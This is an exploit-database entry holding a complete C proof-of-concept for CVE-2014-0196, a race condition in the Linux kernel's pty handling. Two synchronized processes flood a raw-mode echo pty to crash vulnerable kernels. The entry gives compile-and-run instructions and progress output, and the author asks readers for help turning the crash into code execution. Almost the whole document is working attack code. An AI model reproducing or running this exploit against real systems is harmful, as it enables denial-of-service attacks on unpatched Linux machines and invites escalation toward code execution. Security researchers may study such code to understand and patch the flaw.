Linux kernel multiple security vulnerabilities



EKU-ID: 4017 CVE: 2014-0196 OSVDB-ID:
Author: DigitalCold Published: 2014-05-07 Verified: Verified
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/* CVE-2014-0196 DOS PoC [Written May 5th, 2014]
 *    by DigitalCold <digitalcold0@gmail.com>
 *
 * Note: this crashes my i686 Gentoo system running 3.12.14
 * and an old Backtrack 5r3 running 3.2.6. Any advice on how to gain
 * code exec would be greatly appreciated.
 *
 * Usage: gcc -O2 -o pty pty.c -lutil && ./pty
 *
 * CVE: http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-0196.html
 * Bug discussion: http://bugzillafiles.novell.org/attachment.cgi?id=588355
 * How-to-pty: http://rachid.koucha.free.fr/tech_corner/pty_pdip.html
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/mman.h>

#include <pty.h>
#include <termios.h>
#include <fcntl.h>

// used to sync the two writer processes
volatile static int * Sync = NULL;

int main() {
  int master, res;
  struct termios tp;

  Sync = mmap(NULL, sizeof *Sync, PROT_READ | PROT_WRITE, 
                MAP_SHARED | MAP_ANONYMOUS, -1, 0);

  if(Sync == MAP_FAILED)
  {
    perror("Sync mmap");
    exit(1);
  }

  // hold
  *Sync = 0;

  // create a child with a new PTY connection
  pid_t child = forkpty(&master, NULL, NULL, NULL);

  if(child == -1) {
    perror("forkpty");
    exit(1);
  } 
  // parent
  else if(child > 0) {
    printf("CVE-2014-0196 DOS PoC by DigitalCold\n", getpid(), child);
    printf("[+] New PTY - Master PID %d, Slave PID %d\n", getpid(), child);
    printf("[+] Starting bombing run...\n");

    int flags = fcntl(master, F_GETFL, 0);
    fcntl(master, F_SETFL, flags | O_NONBLOCK);

    // synchronizer process
    int doSync = fork();

    if(!doSync) { // child
      // sync the two processes (CLK)
      while(1) {
        sleep(1);
        *Sync = 1; // release
        sleep(1);
        *Sync = 0;
      }
    }
    else if(doSync < 0)
    {
      perror("sync fork");
      exit(1);
    }

    // used for printing status
    int cnt = 0;
    char readBuf[256<<3];

    while(1) {
      while(!*Sync) usleep(1000);
      if(write(master, readBuf, sizeof readBuf) < 0) {
        if(errno != EAGAIN) {
          perror("master write");
          exit(1);
        }
      }
      
      // shovel the input 
      if(read(master, readBuf, sizeof readBuf) < 0) {
        if(errno != EAGAIN) {
          perror("master read");
          exit(1);
        }
      }

      if(cnt >= 200000) {
        fprintf(stderr, "\n[-] No crash? Maybe you're not vulnerable...\n");
        exit(1);
      }
      else if(cnt++ % 200 == 0)
        fprintf(stderr, ".");
    }
  } 
  else { // child
    char discard[1024];

    if(tcgetattr(0, &tp) == -1)
        perror("tcgetattr");

    // enable raw mode with ECHO to trigger the bug
    cfmakeraw(&tp);
    tp.c_lflag |=  ECHO;

    if(tcsetattr(0, TCSAFLUSH, &tp) == -1)
        perror("tcsetattr");

    // make stdin and stdout non-blocking
    int flags = fcntl(0, F_GETFL, 0);
    fcntl(0, F_SETFL, flags | O_NONBLOCK);
    flags = fcntl(1, F_GETFL, 0);
    fcntl(1, F_SETFL, flags | O_NONBLOCK);

    // construct a lengthy crash string
    size_t badStrSz = 256<<2;
    char * badStr = malloc(badStrSz);
    int i;

    for(i = 0; i < badStrSz; i++)
      badStr[i] = 'A';

    // slave loop
    while(1) {
      while(!*Sync) usleep(1000);
      if(write(1, badStr, badStrSz) < 0)
        if(errno != EAGAIN)
          exit(1);

      // eat the incoming data
      if(read(0, discard, sizeof discard) < 0)
        if(errno != EAGAIN)
          exit(1);
    }
  }

  return 0;
}